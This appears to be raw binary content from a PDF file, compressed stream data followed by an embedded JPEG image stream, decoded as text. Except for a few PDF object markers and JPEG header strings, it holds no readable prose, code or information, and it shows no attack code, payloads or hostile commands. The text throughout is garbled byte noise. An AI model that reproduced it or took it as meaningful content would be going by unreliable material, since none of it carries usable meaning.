61dkcNFpd#y`j+wc'1hVmb4Kz('ڱ>6|}J]Gd檬߲EΫ܎&Sac0‘cAAAMk4F Ƹy0tJ"ay0'=&lMtژ֕g?ˈ1W] 0a cphcE_PP.{ߦ7ٯϚК=FQc1L bxYi{~/}[߶4?kу6W10r~N-chJJQƀ@ 7]||ǥ%f+fr9/Pm3ڵk2a)c<ݛڲzO=[, ~-93]7$51#LI ZK$q2/^mb%y)6}{X(|-{#wu{1c>%&"cLPcc@ >` Œkm*#@bxǐ1"7~֦ϊr3wˉ1.Oxޥ=f 61F(3 T` >ƸFgϞnbH#"ȍLd,˟]Zwx>[=MQScP:%iÇskmƀ@ "ek2M ݀!eȐ"fDl'QYܒI(z7M M$1s/3#@ DMP'DqI-a)cfBX߬ ( (vIdb MI|c c4O"`41 DHJ^+-8Sc/'{[g/a)M /@1G/^7Ƒ#Gd)M O|~13Fk "\1Vp;7S}HNNv5FdN.0h)ck405عSR/oH:8T_K_1LĐo#nd @ D,3|4U3s\6F-EqR*a&;07F2,@1?^"Ƹ1 ob2%6F>~Og%P\?zq;n ÛLI$~E1AF@41Z~f[&SicdDmt7[1^x$4[WE1 ob6%Qj{Y41g%Q7h`r07o&j͟f(1@{-ƍJqu0:71QQQ!fƉLʌF>ďi@ 4O9-0єD&1 cϖlIUqn~:1e7]vm5>OITib(4݌q Q!18fxg mbH0+eo稢|j:73p7F}}'cg6c@ Qq3Fˈư^Cd 3^w a&1Z[[=c 1V @ ^0M 6>b Z1;8`T>#VmbHC1׏ʀ>j1Pij ÛOI$0 J1^|bڿ1L EhѴьNc@ AƸ1rrr0Y$xc/U0nbTܡxQ9%Qj1jZ{Z1@ FEOchJ+ i\!c<|o1:9`T9+V(2FooQul&TGwm&(5矪,>?m%K-j,\C] )>M 1_.hd|u`gA9+im^t3=~LJqv}?zlx4$E9{Q;{ g *DSUxʢ1a')EƸW1.j1vnbō.hdzFG%c6~#|?w N.Dz[_c!AkwY0ڂW'}(Q`@5b Ac۷O1 3Ɗ*=u`;\K&AHVmb~*2F2BI޶`B8{s]wOGAk0yI4_㸽F^aш2Z2M QcLUq^WqvЪ--Xo c 6M _$4@ݞ3r ] S11y[нAp9a%CVxF[/eKPua&40Čcᴐ1S0۔QzF>zuw9?a_#-0[ţ1d?9ُq6mE;^cyEˇo ʌagclڴI cPkJ"m꒼ӱc#NU[Zx0єD1-:MܒAAoO7ۑlA]yƻZ Z1"EH׃xsyGqW|\kc0dJ"i?ƈ<1jXc(DSUv0DyZ$m~IN4T##m?\ chJ1bƠ$c"cev7cՁ1 A5]V~~QpAk0HH"壖12%Q!1~Lʌ!ma&---ƸQ> ءgrţ1^190YR(Σ#U[g.N\߃˪M ߨJq5F #Pk۵lAk0^Aƨv7Ʋe˴0%`_ [? j2. uh&jb5%#--M`MHHH{{;)1OjњA,j1W10M lLՖ.E?۽*c@ Aƨ|z1ܹ#OI4mbx0FZ'wԔ,y/o-z\U nG_a&g w` 1"1P^/ZÌM 1c,ܓqUSg6W=p4U~rnGcX^)h#G2 @ :l4G{g 61y3FeaΉOEq߫,nLVV kcbJb'ƀ@ >#1*1]p1ƕ+W0M /$/}au[-T>\{5A uOWU}ȑx1܃P%Pc%1{m\]dGwc0q8:Ô)cc~ɓ'oooojj*..ʺ~@}뭷ǝ-i%Vi?M4mYٿf6 lvӯ9Ϳ;˿G>y/x k/kܼ˷ea~k_24mz9Mw2[ 3xSj~L~\4IR[a?ܨx7!2z}^+cd[ܙP|7v$XFxr ^*h^fv ~q-jQJ:ݿQ~f[*HzR$iZ폰lߴG[mSijM[յ$W>HyjIyx!|.{?^ed;,r!-kpZVW =#b^[V Q]l=R`[E}6Epaf7rزv~337qÆ [`+֯_sSNcyrrrff&0YJ+ɠI 1Ea4U=1F[}Ub]~/0:DE ÿS1,ы1l1 ctaB]0FCpv"`8߲am3F/'cԻc0Hf`FefbưSƸ%w:a 7oAM7ctaB3ft^+̸w`FGɕ?0ƨ~Qӓ1I1R1+ϑ𼰧=])bC< f0 @q?ۢBa _N]0f;?.F~C3Tlrrѯ 1aիWoڴ)((h׮];z(0ƥK1K g)jۦF7emLb`\.~IG ` t0z3?Ç͵qtܹ|gC_{ĩn}[4Q,U 3?0 _s[8 Eb0`8nj<00>rn3$f=1f8f flZU ca𽌯3qk{3=l01p0Ìv+t&޿Ynj=:OlFO }H*æ2n**?pVh0Bft:ct>P;ctXGfhd t3081n.k~r,ԐW^5k?\oٲ%$$dϞ=s`7ndee;c J 1fL(>뛣Z}`ˇ F_?Vv1HH ^Ϟ={)0Fgggkkv⩩pdܹsŊfdϰC?~~TLHHyfZZZvv6hxw1%F?+I]mxcw4*q41;W g BD1%mmmpfdd\v۶m[Gs3 `W}aup ~ǿ߿;-W ö_::s?Yk[Yχ3x+G yu ___?|˖-v튊:rHJ!cK$*Gv~m[`q^p8v.+`NU% c$.K/_}?8᰼tRllldd$`ƲeϟaK;܅}Ӑr;̅}èʾڎ0Wd_7w(Ϙ1umذ! `=W 33s 3g36o駟\: t> g̗`a\a3{fcGbC@y/q ^Tuxk׮]~7|һw >𙐐p-"Cr1O+/:sm*;41&cJAZb` ۝. V88O: Ν;k/x5ʬkVOgY!fc2aTc1X,?1+l|t(JIP_lܸDσ~0$11'ז}C6Tvg J*1 38cO?~ݻw%奧'&&^x0ѣ8o 㫯2pYl31^3_ /b31Y+`ֈ>,rm0ey ~ |hQ5^9`4H%ٞ+JCɟSb3ơ[ܱ- c\?VzQ}] !0d ~ K=zo*^UUojj* Ǐ9rP 8wر]N[1"f`$fL*f3_뙯rh70x{_}ԩ8'sRb34Q1gzf@H?lYW]]Y _|ó 8K1 P˵TO{c \e00SQwP~%W^C-^I$F3 ~?tvvf455UVV³ G)@p&%%1|u88˚璞(f51s^3gsZ60XN6F+w y8pb` /``{b,1t4:C1-,v7+Ϲx0ҡˇ.sɏ?h---\h3X\\.FFFFzz:)))Ɏ&I375 1ykbI<*(;"V;TR]#Ұkh xLKK7`pE=! ]͊ߟ ; ;5K'cUbh f\3x4̸sNSSFMMMee%T[PPq2M-Ջ1ӧ=z?CΝ;---6ꕩN2FT*Sg Â.ӎyzIO'=txÛ:? vTAx9]*o|Vb5¯% &ɏ j&2xakmHeioxwP%Z7f+M̸wFGGG{{; ֖^ӬyLi3Nϸ[cL;B2Z/h@K o>MczL8Tp.lgҀ!#7(qcIZkSOEf{oc$$Ưݧfؓw$ Pـk:Li3w4OMSF;e< ɴ.$3AKWu.i<XiТDq `:FcƘ: "hm9chMHҀT7)cW$FopF\k#e羞y:LoFr6"I;i']*]8$ n5Dq~8ZL׳)1fcmlmyfNtR|2"0#3Ƭ3ƟGb8|)IS<><*c $.;$Z8$?Uz]2:a%a&96BȔ85aT 0Y:N6?95SDψ rt8#s )hA|\n?J*e1fNQ#`}eՔx1F3(1篎q'FBt9 ]q$gJ#f $.ӈ@U>8²[ՔYypK+c8:]bPIt1/G u8FTdEю"& >]F$:c Xv+겢ƨU#]]r]71 YII 9TƤrYGhG]4ELх"zݍh ]^I\d;ư]WF}1\g J"NbPI0t1vV|Cch ]aAEcqC`$ XϷxacDJ;/-5 '1. $v0%80I aJ ݌\Wrg g=qH??܁-59xO4SbRbВ2TACJ"NbW?Pv54pe6kW+<{O4ጁ.1t-^IL!I%$1+)1d$$z%%103Ƥ҂ lfl)/a1yözNY`=lu1%v '1+)1d$$z%%1ÔƖV5Ƙ#~Sg WAВ蕄@$$z%1%%z%-12IU%p[dkW-Qrjl蕄@$0@$$ AKbW$3Ƙ9uReIAXFf% i(zm$+cKUV1 ,1+ -^IhI @$$+ ^IhI10 `FI[㢔ecv]b SbPIhI * -^IhI WAВUƘ1e=[׳ ذ7`Cuyh`[jb#NF&1%v0%$0p%$1+ -^II JBKb B%Qa'Vf[W1l{͵7ODbXOƠUIhI JBKbWrВ蕄@$$z%=(ﻯ5캪Q>ޭFLMw|蕄@$$z%!'1+ -^IhI ]aJ *I?%cmŎ-_PHh믾X}h66TzW0 RƍhN8ꑽעitWz450@$$z%%1t)1d$$ @$J `1^_uЮ+^wK ,1+ -^IhI ]aJ * -!C%%1+ -Q1d%1Xu+GvöUx$z%%1+ -!C%%1+ -^II JBKb$cS7Ƙ>ڱlcBDŽv4Tzt1dF$$z%1%%z%%1d$$z%YbQ~ _c3ncQ!1LANbWZC`CJBKbPII t0%:`mCyOGޛ%aJ rВ2TA0L!C%'1ZIhI$*1eҸW[wM$zXcĐВ2TAè@$$Q+ -1D1&+f*حVÖ+~Vl'oS]cЪ$$:`CJ"NbВĔƖeƘ$Q+ -^ILal^IhI ]AKb$3Ƙ8nLANֆ5+`7]q'%yYv1wVƐAbWSbPILal^IhI * aJBEb8c c=3\U׭Z[7|˼$Ņ'`CO+1%%z%%1t-ĐF$$Fpxfe|bg+~r+3'kv+61L!Nb)1$$$Q+ -^II JbJ D1ydYd2˖~|iAn/4}[gsuCv4x] :`ВF$$ D0j%%1+8^IL^ITc{vFj%.Y 7畗^zg{oW1hUAè@$$z%1% ĔƖDc0ƪ%W/YANЗ^6~tGC#}%zwBnv/f3 D@$ĐĔ2TSbH"1CPyL`2 CJbJ I$:`C/`ВF$H uXc10;h]J^_Jd蕄@ Sb[bВ2TAè(*c,Rc%1PyWciJ $Q+ - 0hI VZCJ"HbWSbPIT-+=}EX8?'{!(cp~lobLhGڵ'1ZIhI * ^IL!C%'1+)1DWr'}m~6c:ƍw+U$z%1%$D@$Đ蕄@AmtfZr_+|^~6V]?'1fb;0J"HbWSbPII JBKb)1-1ZI\}ToOo/>9Y/IMՉ1{nu",dĽJf * ^IhI t '1+ -aJbJ I$Q+H g6jdzJʢ z.9k0 `I2H JBKbCaJBKb Zy$3=rdZrϼy??+=猑xlMc$ņuc)1 \IL!@$ĐĔ)c525)k\`=LKcX}nf1L!NbWSb ZCJ"HbWZ0\as=]8{n0<7sƪѻ8f܈{s>MaJbJ I* ^IhI t '1+ -Ahbsc=1ѽTHcOGm.2 %1+)1$$$z%%1ZII JBKbe F%%{ϙ1s1Opk}K_>ݕ;*?vp.D@$$:`蕄0j%1%$,12Qi)s̝r R>S`CJBKbPIhI JBKb蕄@$#??c2Ƙ'0F {wƏf|F\Uu%ÔTZD@$$z%!'1+ -^II HKJ=k1صm*uOSbPIhI JBNbWZ蕄@$H u3{^L}>NnlX@#c*a`^IhI JBNbWZВÔ2TZ#:+\W2wrڧYN#6ؽ[cC6.Z0 В蕄@$$z%%1d$$z%%1V5*=%yyu*0Fs5goNùǐAbWZВÔ2TZCJBKbWZCh%Qa ~% .^܃1X(JÔ2TZCJBKbWZ蕄@$mtfjRv^S1Bƅ S=S`CJBKbPIhI JBKbWrВe1ƺe.Zsh/`yOg`#^0L!I%%1+ 9^IhI JBNbWZ p1SWy^+73^ǰ#*\TpKu{pCJBKbWrВ蕄@$$z%Pb8cniY;7+_K<*X c<@蕄@$$z%%1+ - 0L!C%%1z:cZk 1^1ѭvmZޯħ!@$$z%!'1+ -^IhI * -^IhITuIO[0Y2!11UZВÔ2TZCJBKbWZc**c3X쫨 _ c y mض| AaJ * -!C%%1+ -^II JBKbWWÏ128c(c\PNP#ۥJt)1d$$ @$$z%!'1+ -^IDb2F11}[[mŹ`lZ*>rp Sb$$z%!'1+ -^II JBKbW*c۝وbOGJ JBKbWrВ蕄@$$z%\b91mo@avwp/q#I JBKbWrВ蕄ĐВ1ƹkW 6TXc G*@$$z%!'1+ -^IhI * -^IhI$*1-+-m X;h)?pҊP%%1+ - 0L!C%%1d$$z%%1P*I۲>v7.l^ĐВ2TZВ蕄@$$z%cqsHM]Ŗ_1FصC`CJBKbPIhI JBKbWrВd%Sc_hY1] T6V9ĐВ蕄@$$z%!'1+ -^Ip%ǰ0Oƨ8h]a`^IhI JBNbWZ蕄@$$:c(u# mВ蕄@$$z%%1t)1d$$vPa̴eW(9tȋ+Fns{p SbPII JBKbWZCJBKbWZCD%s|][Vz WW.f5!1 V6Sý1z%%1+ - 0L!C%%1d$$z%%1+ c(Ld*Ks^yy/vaye[K>1L!NbWZCJBKbWZ蕄@$z%S㑓zXW`~0$0mpk 0 SbPIhI * -^IhI J"Nb)1d$B%3Ƙ0Ek.]T/YPHmcx00@$$z%'1Ô2TrВD1(x-ş.]lc 1\8c 1Ô2Tqè@$0@$$Fݨ0%K>c 1X%9cJBKbWSb[bWZC`CJBKbPI43[좒S2c89C`C@$0@$$ @$$Jw+ke "ݷDR]USb 1+ - 0L!C%%1d$$:`CJ1?{wG |{ggvサ;w׉Nc!h+7U2Ƒ=[;o% s_N__%}ub:1UW'Jub^%}ub|$?cQcn cOڵ26%6%.k-SQ>SKu?'c|N/0h'o*ɯ׉zՉůNN/~ىV8H2JV$c@ط5W=m^deXY|aAQEQVưB$f⌱gMean֘Uu}yѹ%2-ZhѢĚQce64gbijYԖ=&1(($2Ɓݻ r͵5u4-t,u+f HA.ymicOrA-ZhѢ-(6Rff:Q]jI,k2-ZhѢE:,M5zI{}TSap-ZhѢEkڇ2FbV\cߎԖGz1*8WB-ZhѢNA4PW*F^_$\SzK-ZhѢ%Q$c++C$c޳:>$`mub-ZhѢEkb3 P6d2Q?FxuW(;-ZhѢ13 DE8c۷UO֥FF-ZhѢN߳;1gޖڇGv-ZhѢ:g7|'~ 1~WP'C2F*ǠE-ZhmpBBSH p8gkwsW<`GgCyz?ϯƠ]72Sik<&ѢEֿ_q2* 4qd;nwr=s1:i3,` %ZĒb7+sǥwj0g6Bb!9k[pϕ^gqyWyhѢEߴ^ Xz;51^WtU3th9-4i~HS2j}ՠs3' ?!c51*hѢEֆkop)#ʅy d Uq.A`^[-c\n#z+jٶ5Ex(Ѹ?Gφyws&CjĿ{K/pbI̒`NU_F+ˮI"KnX)_R}92W!}{)[y1?C/hѢE}8c**]Uܜ;!cTBƈ B1#>E*co#8m-ƎK¾ 4N'|nILX5Ec#k;.kdlN1]08-Ro+i'\w>+c G_LgzHhѢE׾ݻr33uUtEe_1Pyyi 8t%ok$+JDbKO"|NI ⫖+(S |Sp6ɽ>OM ke ;~v?ƧwAbDŔ\b`4cТEϮvdh ss c*[UJf{NxIb23g#DDYn|X-[w܋b#;H-Z>ܑ&C ME ?~ug H+o([[h^+Vֵ`nUѪ7PHt=eօs~NƐFr_^hn;%vO: 9E-|f ZhEj(cC IB2FkgE,2ֺ!J+ً2#=Iۜs^{_9dx͒aRjevPl6UK{l8ϼ#|)EV,z[ŧ3ƺ]> Sn(w;?ҢEϯ;egqt J~]]wtL~%-Zh}ڵ}kL#VP#7|Zk9|n`%n^ݕ[ZhѢk維5.qp@XWKZkNvƠE-Zh{֎[2倆 U1.1α(i֔ҌA-Zh`ز4E4H8cS{}%l̀!f ZhѢEֆjiTΩ^8v%<ҏ2FU, .Ǡ-ZhѢڶyd gΪ\#O_}uϪ@ī+qW<}T 8)ǕW!'TNɝpRN/Dy;B:4 zJg֧RA T"8oNi ƚ.mySmShddlbaT- ,ԭ5L4MMl̴mtlul-tm-쀥p5v3q3u7up0st0wt,fll;ɑsqy<7ݑ),7 sƜ0GgAG'Ggg8aNNv6Vvvvvfv6 ж4F C Z諢wP~C s=U3=3]SeS%m%c-E#M# yCjUU멜U:tFGi-Ss|5.D.pDN"Oj!?KAth 13 Б%<#j@C1L9)BQ8xuya 'r8w 9G?823~"Z,1f=qP$8|˟b9-z(Sd6phN2 ;v>l) 頴'_ױ{`:iqL=G9ߍ^݅ Sd7؏El߷s^d۞`mv);ھohD&GVb؆m#[ ۹فlAlپe3y6&MVL43}3J$fȝp>|/Q^=X VeduX2,`+̔Yd08&N,NώόGG榇N c|0a wNVckjguSɾ le>9HHWpgpG^7jVPXS-sEqa-8vzz1XӈB\QFtԕ1u2̬ZF;Qq"Җ*(j(j˯$)$W<,`VT+U7mhĚ*JH## //UJKAP g~Th, j"FzjU UPP *+¼ sdybYŹH,B2Ai"o@ eeLrVx-.A4盌7d!yo| Yb<BV'D$ L7ӄ2@xEW oWaP;䞿&=">~ǽpȃpUO8H7}Dn\Fs^~x=A0a8_/N&KS%>y<_YY,͠:̮~]~vgW/IG3+wjff'&ގO͎N͎L Mt$蛘蝘a?Ljho/k-m)m*ihLk+Om-{R\Ԙ!I}㺜jdޫ~s:nUƝ׉iW AEj[S |[[:yPP~ _'TaSR*_U)O.KUUfѳO<{x%AD{YwC3Cc:>u|`Z\x(aPA!{]N@8w'pgFہHϋ@]@ssSSe[oz߸dwmU+nVnav-&ul !C$eݍȾmռЎ\/|z٭hJSy.aC'(Gy&!E]c}U(i42Icnj,Č~ ~e(c,Bc<_YYYYCnF~FaVqV 3I9T >+dE> sscoGg!]@@&'{'''ƻ'ƺƑѮўq+GGGGzGF ]t tS;U=Y9^ZRӔݐ]UYQU[Ҕ⤦gO<˼_rŝJ**^%Ɨ/bJSKKQD)I*M*{Ux]S[ d\5 MaT/ fDD!^/|*4³e&3HҀFrE?| %^`(E/X7'AD 六^pQ an8QA.w Abp%⋑qvXx"NѾN>8c\vq%kl f\2lk3ebIN&2#IC,ch*3 HҀf E6@'?馁hkB\-BݬBݭܭ#F@pip(Bǁ#a[::L0$M55S *kՕ%*0C1Lq!iaD 4p@DaCf`Æ DU eB̓(#8 (? `Pa(E4ˮqi~gX^Y̬άYy}!ICìGZyC1 `Uԉ_Z@Z= S8`Nϐ109ՏExXXhpnjdž;džF!Wh1212yqN,]466ewtQ^E xI 5A"Ī׷++^ŗB\QBEqҭ"@ Sço$,IY !$H؈N~%B&J7!%,IBI@(x|5!6rg߅M6n߆a#58҃!J1LH僠 rf&W&]y"}Ez' CipzI0sLC#sYL=sř91֗)י+%EX)WF1.b4,Qpv 4LQ &i °F#$`p;1p?F+3\P"FazTؾGf(b0`䋢iY"gjyD+ A6AN"fd݀FH ¹.~P;.AΉ }}99)g$ 3zog! ] %n?})sSAα 'ai@ۃP@=GU瑗_ JwqܿZEO,x avM6r6=i)|^YUOMz]@cPK4*'HҘo1=5N LNq$~//K%+%؇3+Ϯ񃌼! 1G0;1VPYN 1QƘ=(`tNvLO 5 6 4ZG`82bΪ.Q]'7>oژ!a={5w!`%T+O]B+,~vCS!2@1M|56l\/MQU4^FW!Ѣ&-]IaDu "1/oDxzOl=Ƚs/ un ̈́q'M"Dہ r{1?Aa _0P?!kųkE^~|PQ(1" "p@nLfFn/$ \%ngaBHe9F_ˈ!`2Mtbr]:4" if!fLpF i0] Nȁ(LA8`!1HEWgp#,3r)w_Hc ;C;˶@x}L\,],xV%]QƹB-\ppU |K=1YqJG { _!+l -H4Y#L7ѳ3ֵ5Ա1жײӴ:(0`j L5T0SDw>`$9ʦNFȅ#@r*p =R|UV'`"P6PW6P1DTYHT6đCCҸE=Q QA !BQI[QRP ?MP|t(P 7 Y^2P$S[^Wo'~gN!ݑ'[[M\;2ׁ m,X6#=MTv5Tvb#mHUZy**el'j+6f\ZGmEG +`SA5i͵}l@[`{`{PGpgHWhwhOXox_D_d`4tό̎蟟X\/ΐ;BǗƗ'WVWY[ʜ@0/,V"`ne[E޿c> >b߿c##{D|&ҏ wV a,\Go,8ÚexdauO/O-M.X|;8;03F&&NGw83 zU::`$hh'zbk=̏М)^6|/;Tt/㗘a3~X]h^S :*0xÄK(kAСGjY$A*D )ke#EJ@cG%Q FJdOob/xc%W1ʉZ28fmW` HY}eIW^ $[[loom?l:s]rlϖ{ػm >]g:{d{+w|߅/< AӇV:{D1TN^8&)߷m' a~QTܷK$nqhh$ c]tWեƻeLݜ\2kŬ5 fo:d8`:6.8W#s'xg.?<|s_. g~>y'G~`[usVa,C0\l; ؛O܆e|ws5/d1͇p;70}5/e&#aNdОEt`>3W&(\@|f?RE'ދc6 -OhG:LhڪxcEd_~NzWW|Ú!9Alj/"ɵ$P\3q!",)fWP'UrBCJUȂ|$mۢ/B($4% FdXLHɾ! C)^ *eOQ٣ǧ?>HdOiKdFN'FRIHARI"/zf=Vٍ*< endstream endobj 105 0 obj <> stream JFIF``ZExifMM*JQQQC    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222*" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?4M.[. CY {wvÙb0 JzpIՏFӋ :w־rEk,N"/cz:IB7rд94*ShNX­[r1gxO Ŭ\iv~V>M ߔqta0};# rh1>e5{ǹ2 QbB8T6ٵw[Mm08I0Cx=@a=/W:/=#NX”hz/4+Eݶekkiyx: Ŷ"S g''珈E#UͻrHb+0')Y>c]D?ӿ?30m;S+ռg)1AvTC"nO9VB rMr;-t}V"$磢 G$sEq~410m;S)?i X is^Mg!@79PI0:ֺ2E?JTvmx#cwQ@m;S*u֣}{ L/E;H$c*0X]^g{@m;S)?t?i W1EҵWH(a'r0ی295z㾼tF.ѦY 4m ,>\:G? R7_i W5"Ե/4˟*;{cP3~A V/Z$fP6NCB6|`M0ib84+.]O:~??&cDԼF4H]<(l$4 eخd\mnYpNFkj7ӟf-eb&Gv@cOp2YG^{ko0ȵc'OHl:i:G-6oKX+5- UK}9^{׼3R;K:;EY6Y :qBi[~ M;"M9t;iV UMvw%?*ખ b *]FѬlm.nm.\FxbKx];$0I\8?.9,btҴ3z=ԑvQV:+I!9Fr5iXȋ}K;<'B:#Hml/w4;?iOM ooiD!XrJ`E kbh4-+oͤiH¢4.$[@0hȾdOVq4Yi]_W94]<0ݤZz9^t};# "QڕCJ,TFt;c i$L%u'.\s޴PDs3}4 i TG4+:9d)zS>4gfҹiؚ'4(?,YgQޕo>X.jbӿ?.,Y/(+IESdh:(,YntX.EЇ)CЏ+&Kj{{wsEt ,MmFƏ$Vr3Oi6h\.t-8Iӿ?&[5ڣ=Xw2iBy?ӿ?&?J<`B|>[D)ܩQ%BB@4};# m'%:wѿF5~;hqaHӿ?&4bv$PҬ&!$4`>chjHӿ?&8Ҽ E+#b ?&hYVq5 T0';T6#M XJ?&n%Gj,T:.@ݤ TE?$Z@Qd"N:FJFzwVbdw-4- NX—D>6R :@};c iдQ0};c ֕\a_i RFF;ji?4oi U{GX`ȵAAV|.cՠ Tˠg`wquv@ q~qUu= 64?i TP:!:>@T_j\J^dRij .dؤm_,:r[̸@Z,Z_ Eww[[**eh[-%nmVhso-)`EnH뫸n!ro[i]E :^:i4nm!GIkcgG. m4 TlojC62Yͷ@jLXC?? ,XqIMlVTm'in~MֹkЗ:&pмe\m -E"L ~]"-|#JH->)'0OF{0k;IVNAkjlM m?Sӭ}:k)@SRC؂z }}hޏpI%\mO"pK^jFIs18 eUd915m5'LPG }}i<pzn+jfkWxK,P`J:go Maj3ȍ,&2+dFSf#'kl}@{;L2=k;FyuK:pwom#y ~]\[ wk$1Mj0&!uoV_nA }}hu_p4EP5ȏr A<_%jPj۸.y+\xJh}A >qR0Gcگ }i>@[;JɆ?xr|5u{j*-B:LYU p*0:sit [ɲxrP9ư57]le>{pɶP#0%RT*TʜokXn`+̛aFPBP90k;B Jv}$ڭy_7Ы9$I8ߌN)z \:}g+2ۡhO}@k;Jn/O?Ag1x9N>k/b+92 7,\p02814ZM s|Dۑ0OLǚ2ޟpn_pJ ~U,Mvke#ݘ2HPbWJTZ,2F1єu5v}/?=?n݅ K,HJ\ ?J͸_.5[]LiVp[6hդr2nO-w{V_p<p.S2Ց '0w]Řy|?SڶC7DD䷘$Q` qhyyCEq3"23: `)jv?B,Tj=? }}h 2F9o? }}h5_pwB!ji8l֞_pp{5.VGY,Te?e?.d;2i[LO^^C k=[}㴛}}h 1d /G?8Mz? }}h 1`OJz٢}?}?VdB lz }h^t;2%4հ"yןyן]DH4_? }}h? }}h 1օ:v:v({@k;E5216v#oy?r7}vbmӊ_6]37}v [;ʯ rv]R==̒I]Frp2O8W|O+1d2JٮV{+iDLd0Rc7Mk>)c[O_=RW??EhZܖ.X O崷 Q~`F2zc'ZZ㶞o*c!l#s/g;\xH` bDBm,1zz=z[n#>YHt$zYo~pET!ns ,5>ϓl<ѻ<47V6c=pY22{=5"Q$*-2@ P{^T+B J>Y\ L%lȒq)˸6s۶1뫨Et"= VR0}#޳ceG5ҼNb8f'VYcjM/ly(Q]A֯%Š A >W<M)C@ݻ8:P-ywdfc`A ˞W] ^EMmP= 0`6UEjI*8DxvGҟor#01<}|;o[ZDI=-l.%WȔIʮ+_hOٝ#?zHˌ}T,=ld 69Hr}%i0 !8+svCT>PH/3ˇ֒C)|2҇hXՇM{y%4T8`Mf vλR;Kf:Wm-ɷFr,$u=*ijK3+;>MFH3'ӧ"Q$*-2@/0M*U7B` w%+{ ݗtmwCor4,?ukmC]k`Oڃ*?>ᑓӌaj٬2z c&}7s5m/jf1x<·h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂcGWAvXƫtytr,}cU<9P]>h]].o4}..Te>jGG* o5_ˣˣcƏʂk&h#߆⌠\FI^vjCj$y%ђTOJ "2idߒ?1:oqUp&YY 82gXW髾ƴc JvC|$O.Q.>1б{>o cG,[;Y n2Js b< ǹ^%ۙ,gvo 'MfYՔO1I;^yb8=} Eqs$yBFv.b`KLRvU} x䞵3(ӗ/oYd0UJF+y%gve (۹q[g^-,t\y57:ͪ3ng;$ |W8=qS׀Eދ"~Gʖ`eG&^; O6J$=\o Ѽ]{?fc8+8ፈ̨ `Vub;EYM$A1/$l~OSgvo &w5^~S]/;I'3[esBYԖn7ƈLa_ҤkDR檁MԠ}S"{AKY w&8\]V(dYH"R=N϶/^mP[5=|;T{89oop+.c"Lruϡ'NpIZB'~WV+ 4W\jw$I VnȒ\9dCҠ >m.)py#˩2:={W%i.FT.QO8Xdƚhv=>LUUm&pᕗBߐlly%A?yέwqk Mϑ3I.8ǩn-Wu!H.dӛM^ݕm}OmrQp[K("yd2 s/Iխm7WYY^R#j@_xW6D+}k d:= 5oeJWvȭ}A],qc5g[3I)qĜS|ci=ݬ hITdAגeErڣ$y]x ㎢5 άmo1%uKm7S2EYcIc1b0]Po U%+!As2o]8)c=ߥheJE̼WW {)8G$̘;B|T}t=&R, $d1BqIX_* ']ޙhzct}DXKQ>7/cidF\*ǹcQWLKUI$# TdZWy.9[r{%͵"Fv s&H<|)i&_*[X6pփOJz?wr7 ~`V2ds/?y:wq49XHS9GJ<mi enl#%˖/w.1͋ҥu+YՐ ]A8ub8c[,\uiVSAlmK7 nem)\-뜜gVDX5DжU@'NQIEFUYn",AIIN+@id _2Uk o>K"xQQ789n"y/$\<1I !I]H(5r)Trm3Zxlm*; dI@fҖx$&kcb*{ۗk;as"" d {C/j`]dnE稩nTuޓLUEomgsX/Pj?%χ&H+3.o_79+ v?q)MI/Sq(# W7{HZI ]Tcס ȱהjQg(bw62Ͻt%Ou]9z7Qmٿ&_*\: ݛe϶/VhV϶/G}fE}f?7U(7Qmٿ&_*Emٿ&_*o2Uf.oo2Tgvo 4Qp+gvo >LUY[>LUݛe\ ݛe϶/VhV϶/G}fE}f?7U(7Qmٿ&_*Emٿ&_*o2Uf.oo2Tgvo 4Qp+gvo >LUYHB;g8N+>)DmF?7Nom?_3ZגoV%wQ8OVuXE ([4%vb `_NSD-\%ƨ9 #Ƨ#|a{g=HIhث@#ɧvd%F+ T6hjTH7wS^C{̏wmgWppZ~D5aA_Gs<%S8'#Ok;rBVv[bB\u˛c 7cݻFsں Cb ?l?5+'N18GxS_&4h<Urs]_oS?MѰ?/FPؿ”)$A1mu/]@V[ɝ#cЌW0 [ϴj]ے1(lhjQaA_Bz[E,`LP!oj{xc*#''K'G'K'PQOP-5E+.1x??JKWX1V|?_?H@@t 8p3һ&OO&&OO&JqY-RjG[ gjVpF:DCHzۈLr29jǓ'K'G'K'V.Z;6&K>&OO&&OO&ڮvZwF#>::~o.GNOnwL/ML/MoϛC/aMOڕ P٤MX]žO66Mr1G'K'G'K'X&Ӻ8&{+'?߱:Zu44@6Awkɓ~ɓ~(EƳR{vZ*f*TR W.6tM~VdރV'*`8q]w'K'G'K'Zz&g}wwJ$LXgIYGh۪Hy~ukɓ~ɓ~t<ǩ EƜ#XȰ8`tY2}*hg3?Zd$hd$h.g&yzuXE ([4%vb `럓I$ehqY }xEuL/ML/M)%(aŸ˙nT,4{{[XoTWy|?_? +FXϑ# =O=O溿&OO&&OO&NL/ML/MIDT>L/ML/MMEC?RI?RIT>L/ML/MMEC?RI?RIT>L/ML/MMEC?RI?RIT>L/ML/MMEC?RI?RIT>L/ML/MMEC?RI?RIT>L/ML/MMEC?RI?RIT>L/ML/MMEC?RI?RIT>L/ML/M@0פ5f%޽#'mwJI|^qOFk__ Ľ/')`qkbCW-dE$??MkjХ E.,oN\sgV>*/Œik$6΂c pA=pVm"<&"! 6>\mseI-gp% daS8o6#-M) I}Y<  ojZ}W".G91HF?vIb=Q"]n0A{WnwVXZ吽:ͪxRD c)<I~ԮOxL.--ﮦ8 ʬ8MH'W5^BҧnvZF{܁\>lZYi]Y;5ԏ,BSp_Z'o :>noՔhj2&A T })ot=% ў5*UI,@Fz'S|?A)ohбB;IѰøl'1{ )3&%9 p>}*dEBJ[^#Ũ}MosfEh8ҵn/No-ʔa(x55^(a8S?WWrobRy3ݰD(Ft޽uOS55BQ\GHQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEIaI8k~)k^KzSi^pךSCz/sIҊV(‚wKOҳp&7Ei0FAK/OsI'&"=iQYJ!HF@KNQ>0fzō1α.,Dn]Z&Kni??4 YBrWz_tx당Ѥ JI;q׾kǾ'kM1 gm߳v7v7quK RB"#4 